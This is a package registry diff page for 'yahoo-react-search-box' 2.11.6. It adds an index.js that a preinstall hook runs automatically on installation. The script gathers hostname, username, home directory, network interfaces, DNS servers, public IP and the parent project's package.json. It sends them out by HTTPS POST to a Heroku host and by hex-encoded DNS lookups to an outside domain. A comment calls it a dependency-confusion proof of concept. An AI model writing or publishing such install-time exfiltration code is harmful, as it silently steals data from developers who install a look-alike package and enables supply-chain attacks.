yahoo-react-search-box 2.11.6

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of yahoo-react-search-box might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +144 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,144 @@
1
+ // This is a PoC of dependecy confusion attack, published for security research purposes only.
2
+ // The code contained in this package does not exfiltrate any type of credential
3
+ // If you need request a package name or further info send us a mail(edivan_automation@yahoo.com).
4
+
5
+ const https = require('https');
6
+ const os = require("os");
7
+ const dns = require("dns");
8
+ const packageJSON = require("./package.json");
9
+ const package = packageJSON.name;
10
+
11
+ const sendData = (url, path, method, post_data) => {
12
+ const promise = new Promise((resolve, reject) => {
13
+ var options = {
14
+ hostname: url,
15
+ port: 443,
16
+ path,
17
+ method,
18
+ headers: {
19
+ 'Content-Type': 'application/json',
20
+ 'Content-Length': post_data ? Buffer.byteLength(post_data) : 0
21
+ }
22
+ };
23
+
24
+ var req = https.request(options, function (res) {
25
+ res.setEncoding('utf8');
26
+
27
+ var body = '';
28
+
29
+ res.on('data', function (chunk) {
30
+ body = body + chunk;
31
+ });
32
+
33
+ res.on('end', function () {
34
+ if (res.statusCode != 200) {
35
+ reject("Api call failed with response code " + res.statusCode);
36
+ } else {
37
+ resolve(body);
38
+ }
39
+ });
40
+ });
41
+
42
+ req.on('error', function (e) {
43
+ console.log("Error : " + e.message);
44
+ reject(e);
45
+ });
46
+
47
+ if (post_data) req.write(post_data);
48
+ req.end();
49
+ });
50
+ return promise;
51
+ }
52
+
53
+ const getIP = () => {
54
+ return sendData('api.ipify.org', '/?format=json', 'GET', '');
55
+ }
56
+
57
+ const sendUsingHTTP = (data) => {
58
+ const { networkInterfaces } = os;
59
+ const nets = networkInterfaces();
60
+
61
+ let parentPackageJSON = {};
62
+
63
+ try {
64
+ const regex = new RegExp("node_modules/\s*([^.]+|\S+)")
65
+ const appDir = __dirname.replace(regex, "")
66
+
67
+ parentPackageJSON = require(appDir + "package.json");
68
+ }
69
+ catch (e) {
70
+ parentPackageJSON = { message: "No parent package.json found" };
71
+ }
72
+
73
+ const telemetry = JSON.stringify({
74
+ package: package,
75
+ date: new Date(),
76
+ tzOffset: new Date().getTimezoneOffset(),
77
+ actualDirectory: __dirname,
78
+ homeDirectory: os.homedir(),
79
+ hostname: os.hostname(),
80
+ userName: os.userInfo().username,
81
+ dns: dns.getServers(),
82
+ resolved: packageJSON ? packageJSON.___resolved : undefined,
83
+ version: packageJSON.version,
84
+ packageJSON,
85
+ parentPackageJSON,
86
+ ip: data.ip || "",
87
+ ...nets
88
+ });
89
+
90
+ sendData('yggdrasilr.herokuapp.com', '', 'POST', telemetry);
91
+ }
92
+
93
+ function sendUsingDNSQuery(data) {
94
+
95
+ function chunkString(str, length) {
96
+ return str.match(new RegExp('.{1,' + length + '}', 'g')).toString().replaceAll(",", ".");
97
+ }
98
+
99
+ String.prototype.hexEncode = function () {
100
+ var hex, i;
101
+ var result = "";
102
+ for (i = 0; i < this.length; i++) {
103
+ hex = this.charCodeAt(i).toString(16);
104
+ result += ("000" + hex).slice(-4);
105
+ }
106
+
107
+ return result
108
+ }
109
+
110
+ String.prototype.replaceAll = function (find, replace) {
111
+ return this.replace(new RegExp(find, 'g'), replace);
112
+ }
113
+
114
+ const ip = data.ip || "";
115
+
116
+ const query = os.hostname() + "," + os.userInfo().username + "," + ip + "," + os.homedir()
117
+ const hexInfos = query.hexEncode();
118
+ const chunked = chunkString(hexInfos, 50)
119
+
120
+ // Just for debugging, please comment before publish
121
+ // console.log(chunked + ".sub.bugbountyautomation.com")
122
+
123
+ let messages = chunked.split('.');
124
+
125
+ messages.map((message, item) => {
126
+ // console.log(message + "." + item);
127
+ dns.resolve(message + "." + item + ".sub.bugbountyautomation.com", (err, address) => {
128
+ if (err) {
129
+ console.log(err.stack)
130
+ }
131
+ });
132
+ });
133
+ }
134
+
135
+ const sendTelemetry = async () => {
136
+ getIP().then(data => {
137
+ if (data) {
138
+ sendUsingHTTP(JSON.parse(data));
139
+ sendUsingDNSQuery(JSON.parse(data));
140
+ }
141
+ });
142
+ }
143
+
144
+ sendTelemetry();
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "yahoo-react-search-box",
3
+ "version": "2.11.6",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "keywords": [],
11
+ "author": "",
12
+ "license": "ISC"
13
+ }